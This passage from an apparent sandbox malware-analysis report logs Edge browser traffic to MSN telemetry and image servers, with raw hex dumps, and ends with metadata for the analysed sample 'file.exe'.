Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=03480115B31365D60A331450B23A64BD; _EDGE_S=F=1&SID=002C77539302677924126216926166F5; _EDGE_V=1; _C_ETH=1; msnup=
2024-11-28 14:18:09 UTC	11621	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 38 54 31 34 3a 31 38 3a 30 36 2e 38 31 39 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 34 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 61 61 61 66 39 39 66 66 2d 65 61 31 36 2d 34 39 38 36 2d 61 61 35 61 2d 33 61 32 33 38 34 66 36 36 38 63 64 22 2c 22 65 70 6f 63 68 22 3a 22 32 38 34 31 34 37 39 37 35 39 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-11-28T14:18:06.819Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":4,"installId":"aaaf99ff-ea16-4986-aa5a-3a2384f668cd","epoch":"2841479759"},"app":{"locale
2024-11-28 14:18:10 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=a5a2af4e20564d7bb5d2ace7e8b610f6&HASH=a5a2&LV=202411&V=4&LU=1732803489953; Domain=.microsoft.com; Expires=Fri, 28 Nov 2025 14:18:09 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=38f043248a2347349cd65b15b8cc2ae1; Domain=.microsoft.com; Expires=Thu, 28 Nov 2024 14:48:09 GMT; Path=/;Secure; SameSite=None time-delta-millis: 3133 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Thu, 28 Nov 2024 14:18:09 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.6	49907	20.189.173.2	443	7312	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 14:18:09 UTC	1043	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732803486832&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 5032 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=03480115B31365D60A331450B23A64BD; _EDGE_S=F=1&SID=002C77539302677924126216926166F5; _EDGE_V=1; _C_ETH=1; msnup=
2024-11-28 14:18:09 UTC	5032	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 38 54 31 34 3a 31 38 3a 30 36 2e 38 32 36 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 35 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 61 61 61 66 39 39 66 66 2d 65 61 31 36 2d 34 39 38 36 2d 61 61 35 61 2d 33 61 32 33 38 34 66 36 36 38 63 64 22 2c 22 65 70 6f 63 68 22 3a 22 32 38 34 31 34 37 39 37 35 39 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-11-28T14:18:06.826Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":5,"installId":"aaaf99ff-ea16-4986-aa5a-3a2384f668cd","epoch":"2841479759"},"app":{"locale
2024-11-28 14:18:10 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=f99fba6248c84fb48c53a3c29635084f&HASH=f99f&LV=202411&V=4&LU=1732803490058; Domain=.microsoft.com; Expires=Fri, 28 Nov 2025 14:18:10 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=409ead3232824f8698a4252ca15e81cd; Domain=.microsoft.com; Expires=Thu, 28 Nov 2024 14:48:10 GMT; Path=/;Secure; SameSite=None time-delta-millis: 3226 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Thu, 28 Nov 2024 14:18:09 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.6	49909	20.189.173.2	443	7312	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 14:18:10 UTC	1033	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732803487552&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 4803 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=03480115B31365D60A331450B23A64BD; _EDGE_S=F=1&SID=002C77539302677924126216926166F5; _EDGE_V=1; msnup=
2024-11-28 14:18:10 UTC	4803	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 38 54 31 34 3a 31 38 3a 30 37 2e 35 35 31 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 36 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 61 61 61 66 39 39 66 66 2d 65 61 31 36 2d 34 39 38 36 2d 61 61 35 61 2d 33 61 32 33 38 34 66 36 36 38 63 64 22 2c 22 65 70 6f 63 68 22 3a 22 32 38 34 31 34 37 39 37 35 39 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-11-28T14:18:07.551Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":6,"installId":"aaaf99ff-ea16-4986-aa5a-3a2384f668cd","epoch":"2841479759"},"app":{"locale
2024-11-28 14:18:11 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=6fc465718d6e424e8ee1482ffcf70be9&HASH=6fc4&LV=202411&V=4&LU=1732803491485; Domain=.microsoft.com; Expires=Fri, 28 Nov 2025 14:18:11 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=43fbea71558546e791dd55780eae59a0; Domain=.microsoft.com; Expires=Thu, 28 Nov 2024 14:48:11 GMT; Path=/;Secure; SameSite=None time-delta-millis: 3933 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Thu, 28 Nov 2024 14:18:10 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.6	49910	20.189.173.2	443	7312	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 14:18:10 UTC	1033	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732803487821&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 9580 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=03480115B31365D60A331450B23A64BD; _EDGE_S=F=1&SID=002C77539302677924126216926166F5; _EDGE_V=1; msnup=
2024-11-28 14:18:10 UTC	9580	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 43 6f 6e 74 65 6e 74 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 38 54 31 34 3a 31 38 3a 30 37 2e 38 32 30 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 37 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 61 61 61 66 39 39 66 66 2d 65 61 31 36 2d 34 39 38 36 2d 61 61 35 61 2d 33 61 32 33 38 34 66 36 36 38 63 64 22 2c 22 65 70 6f 63 68 22 3a 22 32 38 34 31 34 37 39 37 35 39 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 Data Ascii: {"name":"MS.News.Web.ContentView","time":"2024-11-28T14:18:07.820Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":7,"installId":"aaaf99ff-ea16-4986-aa5a-3a2384f668cd","epoch":"2841479759"},"app":{"loc
2024-11-28 14:18:11 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=a77d68350b2c48469bc4d1a77a0dec71&HASH=a77d&LV=202411&V=4&LU=1732803491569; Domain=.microsoft.com; Expires=Fri, 28 Nov 2025 14:18:11 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=2ea7e483fec747a5a8f18bf8c3649e0b; Domain=.microsoft.com; Expires=Thu, 28 Nov 2024 14:48:11 GMT; Path=/;Secure; SameSite=None time-delta-millis: 3748 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Thu, 28 Nov 2024 14:18:11 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.6	49911	23.44.133.17	443	7312	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 14:18:18 UTC	506	OUT	GET /tenant/amp/entityid/AA1cLbwq?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-28 14:18:19 UTC	546	IN	HTTP/1.1 200 OK Last-Modified: Sat, 16 Nov 2024 01:10:29 GMT Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1cLbwq?w=168&h=168&q=60&m=6&f=jpg&u=t X-Source-Length: 822 X-Datacenter: eastus X-ActivityId: 8573cc25-f04b-4276-9d05-cb327393d12e Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 4096 Cache-Control: public, max-age=48399 Expires: Fri, 29 Nov 2024 03:44:58 GMT Date: Thu, 28 Nov 2024 14:18:19 GMT Connection: close
2024-11-28 14:18:19 UTC	4096	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff c0 00 11 08 00 a8 00 a8 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa 01 00 03 01 Data Ascii: JFIF``}!1AQa"q2#BR$3br%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.6	49912	23.44.133.17	443	7312	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 14:18:20 UTC	506	OUT	GET /tenant/amp/entityid/AA1sFuPI?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-28 14:18:21 UTC	548	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Sun, 24 Nov 2024 14:36:49 GMT X-Datacenter: westus X-ActivityId: 42dc5545-2b92-4098-b302-828293611e02 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Type: image/jpeg Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1sFuPI?w=168&h=168&q=60&m=6&f=jpg&u=t X-Source-Length: 17955 Content-Length: 8192 Cache-Control: public, max-age=87574 Expires: Fri, 29 Nov 2024 14:37:55 GMT Date: Thu, 28 Nov 2024 14:18:21 GMT Connection: close
2024-11-28 14:18:21 UTC	8192	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff c0 00 11 08 00 a8 00 a8 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa 01 00 03 01 Data Ascii: JFIF``}!1AQa"q2#BR$3br%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.6	49913	23.44.133.17	443	7312	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 14:18:22 UTC	505	OUT	GET /tenant/amp/entityid/AAAAWUx?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-28 14:18:22 UTC	547	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AAAAWUx?w=168&h=168&q=60&m=6&f=jpg&u=t Last-Modified: Wed, 20 Nov 2024 04:23:41 GMT X-Source-Length: 62552 X-Datacenter: westus X-ActivityId: 6e9d88a8-7621-4810-953c-26c780815227 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 8192 Cache-Control: public, max-age=93981 Expires: Fri, 29 Nov 2024 16:24:43 GMT Date: Thu, 28 Nov 2024 14:18:22 GMT Connection: close
2024-11-28 14:18:22 UTC	8192	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff c0 00 11 08 00 a8 00 a8 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa 01 00 03 01 Data Ascii: JFIF``}!1AQa"q2#BR$3br%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.6	49914	23.44.133.17	443	7312	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 14:18:24 UTC	505	OUT	GET /tenant/amp/entityid/AAtK5aP?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-28 14:18:24 UTC	548	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AAtK5aP?w=168&h=168&q=60&m=6&f=jpg&u=t Last-Modified: Tue, 29 Oct 2024 19:03:22 GMT X-Source-Length: 95457 X-Datacenter: westus X-ActivityId: 155cd87c-435f-4d80-bfaf-3f0e9ec39163 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 8192 Cache-Control: public, max-age=190863 Expires: Sat, 30 Nov 2024 19:19:27 GMT Date: Thu, 28 Nov 2024 14:18:24 GMT Connection: close
2024-11-28 14:18:24 UTC	8192	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff c0 00 11 08 00 a8 00 a8 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa 01 00 03 01 Data Ascii: JFIF``}!1AQa"q2#BR$3br%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
127	192.168.2.6	49915	23.44.133.17	443	7312	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 14:18:25 UTC	506	OUT	GET /tenant/amp/entityid/BB18CMuA?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-28 14:18:26 UTC	550	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB18CMuA?w=168&h=168&q=60&m=6&f=jpg&u=t Last-Modified: Fri, 15 Nov 2024 06:37:05 GMT X-Source-Length: 1437868 X-Datacenter: westus X-ActivityId: 35f8cf50-b6a5-4c74-ae05-da13e654185f Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 4096 Cache-Control: public, max-age=58784 Expires: Fri, 29 Nov 2024 06:38:10 GMT Date: Thu, 28 Nov 2024 14:18:26 GMT Connection: close
2024-11-28 14:18:26 UTC	4096	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff c0 00 11 08 00 a8 00 a8 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa 01 00 03 01 Data Ascii: JFIF``}!1AQa"q2#BR$3br%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz

Target ID:	0
Start time:	09:17:04
Start date:	28/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xdf0000
File size:	1'733'120 bytes
MD5 hash:	CA0AD971E610676ADE1D3AF832C47135
